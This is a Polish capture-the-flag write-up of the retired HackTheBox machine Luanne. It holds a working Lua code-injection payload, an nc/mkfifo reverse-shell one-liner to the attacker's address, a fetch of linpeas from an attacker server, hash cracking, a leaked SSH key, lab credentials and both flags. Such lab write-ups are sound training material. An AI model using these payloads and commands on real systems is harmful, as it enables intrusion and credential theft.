Writeup: Maszyna HackTheBox Luanne

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Luanne - spełnia ten warunek.

Machine Info

1. TLDR

Luanne graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.218

3. Skanowanie i rozpoznanie

Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-20 23:44 CET
Nmap scan report for 10.10.10.218
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.99 seconds

Dostęp do obu usług był chroniony zgodnie z The 'Basic' HTTP Authentication Scheme RFC7617. Na porcie 80 mimo wszystko był dostępny zasób /weather. Uruchomiłem zatem narzędzie gobuster:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $gobuster dir -u  http://$IP/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.218/weather
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/21 00:11:13 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/21 00:27:04 Finished
===============================================================

Wysłałem zatem zapytanie pod \weather\forecast:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}

a następnie - zgodnie z otrzymaną odpowiedzią - przesłałem żądnie o listę miejscowości:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=list
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

Ostatecznie przesłałem zapytanie o informacje pogodowe dotyczące Londynu:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London
{"code": 200,"city": "London","list": [{"date": "2020-12-20","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2020-12-21","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2020-12-22","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2020-12-23","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2020-12-24","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}

4. Uzyskanie dostępu

Nie wiedziałem czy mogę kontrolować inny parametru oprócz parametru city. Postanowiłem zatem fuzzować ten parametr w nadziei na jakiekolwiek informacje diagnostyczne w przypadku wystąpienia błędu:

Jedna z pierwszych prób z wykorzystaniem wfuzz…

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 http://10.10.10.218/weather/forecast?city=London%FUZZ

…zwróciła wiele rezultatów, które minimalnie różniły się liczbą słów.

Postanowiłem ten przypadek dalej przeanalizować. Najwięcej odpowiedzi pojawiło się o długości 12 i 5 słów:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%0
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%10
{"code": 500,"error": "unknown city: London"}

Odfiltrowałem je zatem z wyników:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 --hw 5,12 http://10.10.10.218/weather/forecast?city=London%FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.218/weather/forecast?city=London%FUZZ
Total requests: 256

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000028:   500        1 L      9 W        77 Ch       "27"
000000021:   500        0 L      6 W        46 Ch       "20"
000000201:   500        0 L      6 W        47 Ch       "200"
000000203:   500        0 L      6 W        47 Ch       "202"
000000202:   500        0 L      6 W        47 Ch       "201"
000000204:   500        0 L      6 W        47 Ch       "203"
000000206:   500        0 L      6 W        47 Ch       "205"
000000210:   500        0 L      6 W        47 Ch       "209"
000000208:   500        0 L      6 W        47 Ch       "207"
000000209:   500        0 L      6 W        47 Ch       "208"
000000205:   500        0 L      6 W        47 Ch       "204"
000000207:   500        0 L      6 W        47 Ch       "206"

Total time: 0
Processed Requests: 256
Filtered Requests: 244
Requests/sec.: 0

Rezultat zawierający 6 słów to:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%20
{"code": 500,"error": "unknown city: London "}

Natomiast poszukiwanej odpowiedzi udzieliło żądanie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

W następnej kolejności, używając funkcjonalności URLEncode w CyberChef zakodowałem fragment wartość parametru city:

London')os.execute("id")--

i przesłałem żądanie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
{"code": 500,"error": "unknown city: Londonuid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

Otrzymałem zatem dowód na możliwość zdalnego wykonania kodu.

Przesłałem od razu żądanie wykonania polecenia uname -a w celu identyfikacji systemu operacyjnego:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22uname%20%2Da%22%29%2D%2D
{"code": 500,"error": "unknown city: LondonNetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64

Z odpowiedzi wiadomo było, że:

Dodałem zatem wpis do /etc/hosts:

10.10.10.218    luanne.htb

W celu nawiązania sesji z powłoką systemową uruchomiłem nc:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

oraz zakodowałem wartość parametru city:

London')os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.187 4444 >/tmp/f")--

i przesłałem żądanie:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E187%204444%20%3E%2Ftmp%2Ff%22%29%2D%2D

Na skutek opisanych czynności nawiązałem sesję jako użytkownik _httpd

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 65164
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

5. Eskalacja uprawnień: _httpd ⇨ r.michaels

W celu udostępnienia narzędzia linpeas, uruchomiłem serwer http:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Następnie pobrałem i uruchomiłem wspomniane narzędzie:

$ cd /tmp
$ curl http://10.10.14.187:8000/linpeas.sh>linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  220k  100  220k    0     0   550k      0 --:--:-- --:--:-- --:--:--  550k
$ /bin/sh linpeas.sh

Na standardowym wyjściu zaobserwowałem interesujący wpis zawierający skrót MD5:

Reading /var/www/.htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

Przystąpiłem do próby odzyskania hasła:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0'>md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable

Po kilkunastu hasło zostało złamane:

$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest

Dysponowałem zatem zestawem danych uwierzytelniających webapi_user:iamthebest.

Spróbowałem uwierzytelnić się w usługach http na porcie 80 i 9001. Na porcie 80 uzyskałem dostęp do zawartości strony:

Luanne authenticated 80

Przyznam, że w tym momencie na chwilę utknąłem. Nie wiedziałem czy była jeszcze jakaś usługa? Czy linpeas na NetBSD nie pominął czegoś istotnego? Czego nie zauważyłem?

Przeglądając podręcznik użytkownika NetBSD znalazłem m.in. informację o tym, że podstawowa konfiguracja systemu jest przechowywana w pliku /etc/rc.conf :

$ cat /etc/rc.conf

#	$NetBSD: rc.conf,v 1.97 2014/07/14 12:29:48 mbalmer Exp $
# ...
if [ -r /etc/defaults/rc.conf ]; then
	. /etc/defaults/rc.conf
fi

# If this is not set to YES, the system will drop into single-user mode.
#
rc_configured=YES

# Add local overrides below.
#
hostname=luanne.htb

dhcpcd=NO
#dhcpcd_flags="-qM wm0"

resolvconf=NO
postfix=NO
inetd=NO

sshd=YES
wscons=YES

supervisord=YES
nginx=YES

httpd=YES
httpd_flags="-u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua"

httpd_devel=YES
httpd_devel_wwwuser="r.michaels"
httpd_devel_wwwdir="/home/r.michaels/devel/www"
httpd_devel_flags="-u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua"
#httpd_devel_flags="-u -X -s -I 3000 -L weather /home/r.michaels/devel/webapi/weather.lua"

vmtools=YES

Zatem istniała instancja produkcyjna i deweloperska serwera http świadczącego informacje o pogodzie. Pierwszy uruchomiony lokalnie na porcie 3001, drugi - deweloperski - na porcie 3001. Z konfiguracji wynikało również, że deweloperski serwer działał na prawach użytkownika r.michaels.

Spróbowałem więc wykorzystać ponownie ten sam błąd:

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    65    0    65    0     0  32500      0 --:--:-- --:--:-- --:--:-- 32500
{"code": 500,"error": "unknown city: London')os.execute("id")--"}

Niestety, w tym wypadku nie było błędu występującego w wersji produkcyjnej.

Postanowiłem zatem sprawdzić dostępność katalogu użytkownika serwera http:

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   601    0   601    0     0   293k      0 --:--:-- --:--:-- --:--:--  293k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
	border-top: 1px solid black;
	border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

Dostępny był plik id_rsa…

$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2610  100  2610    0     0  1274k      0 --:--:-- --:--:-- --:--:-- 1274k
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
...
45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG
-----END OPENSSH PRIVATE KEY-----

… który zawierał klucz prywatny SSH. Zapisałem zawartość do pliku i połączyłem się po ssh:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $chmod 400 r.michaels_id_rsa 
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $ssh r.michaels@luanne.htb -i ./r.michaels_id_rsa 
Last login: Mon Dec 21 23:59:47 2020 from 10.10.14.58
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$

Pozostało odczytać flagę użytkownika:

luanne$ ls -lah
total 7.6K
dr-xr-x---  7 r.michaels  users  512B Sep 16 18:20 .
drwxr-xr-x  3 root        wheel  512B Sep 14 06:46 ..
-rw-r--r--  1 r.michaels  users  1.7K Feb 14  2020 .cshrc
drwx------  2 r.michaels  users  512B Sep 14 17:16 .gnupg
-rw-r--r--  1 r.michaels  users  431B Feb 14  2020 .login
-rw-r--r--  1 r.michaels  users  265B Feb 14  2020 .logout
-rw-r--r--  1 r.michaels  users  1.5K Feb 14  2020 .profile
-rw-r--r--  1 r.michaels  users  166B Feb 14  2020 .shrc
dr-x------  2 r.michaels  users  512B Sep 16 16:51 .ssh
dr-xr-xr-x  2 r.michaels  users  512B Nov 24 09:26 backups
dr-xr-x---  4 r.michaels  users  512B Sep 16 15:02 devel
dr-x------  2 r.michaels  users  512B Sep 16 16:52 public_html
-r--------  1 r.michaels  users   33B Sep 16 17:16 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0

6. Eskalacja uprawnień: r.michaels ⇨ root

W katalogu ~/backupsznajdował się zaszyfrowany plik devel_backup-2020-09-16.tar.gz.enc

luanne$ pwd
/home/r.michaels/backups
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc

W celu odszyfrowania pliku chciałem uruchomić program gpg2, ale nie był dostępny:

luanne$ gpg2
ksh: gpg2: not found

Przeszukałem zatem system plików w poszukiwaniu podobnego programu:

luanne$ ls -Ralh / 2>/dev/null | grep 'gpg\|pgp'

W wynikach wyszukiwania znalazłem między innymi informację o programie netpgp:

-r-xr-xr-x   1 root  wheel    25K Feb 14  2020 netpgp

W podręczniku do NetBSD można przeczytać stronę poświęconą netpgp:

    The netpgp command can digitally sign files and verify that the signa-
    tures attached to files were signed by a given user identifier.  netpgp
    can also encrypt files using the public or private keys of users and, in
    the same manner, decrypt files which were encrypted.

Zatem odszyfrowałem plik:

luanne$ netpgp --decrypt /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc --output ./devel_backup-2020-09-16.tar.gz 
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>

Następnie pobrałem go ze stacji i rozpakowałem:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $scp -i ./r.michaels_id_rsa r.michaels@luanne.htb:/tmp/devel_backup-2020-09-16.tar.gz ./
devel_backup-2020-09-16.tar.gz                                                                                              100% 1639    39.4KB/s   00:00    
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $unar devel_backup-2020-09-16.tar.gz 
devel_backup-2020-09-16.tar.gz: Tar in Gzip
  devel-2020-09-16/  (dir)... OK.
  devel-2020-09-16/www/  (dir)... OK.
  devel-2020-09-16/webapi/  (dir)... OK.
  devel-2020-09-16/webapi/weather.lua  (7072 B)... OK.
  devel-2020-09-16/www/index.html  (378 B)... OK.
  devel-2020-09-16/www/.htpasswd  (47 B)... OK.
Successfully extracted to "devel-2020-09-16".

W rozpakowanym archiwum znalazłem ponowanie skrót md5 hasła:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne/devel-2020-09-16/www]
└──╼ $cat .htpasswd 
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Uruchomiłem więc ponownie hashcata:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable

Po kilku sekundach na standardowym wyjściu pojawił się rezultat:

$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear

Spróbowałem zalogować się jako root:

luanne$ doas -u root /bin/ksh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

Pozostało odczytać flagę:

# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66

7. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: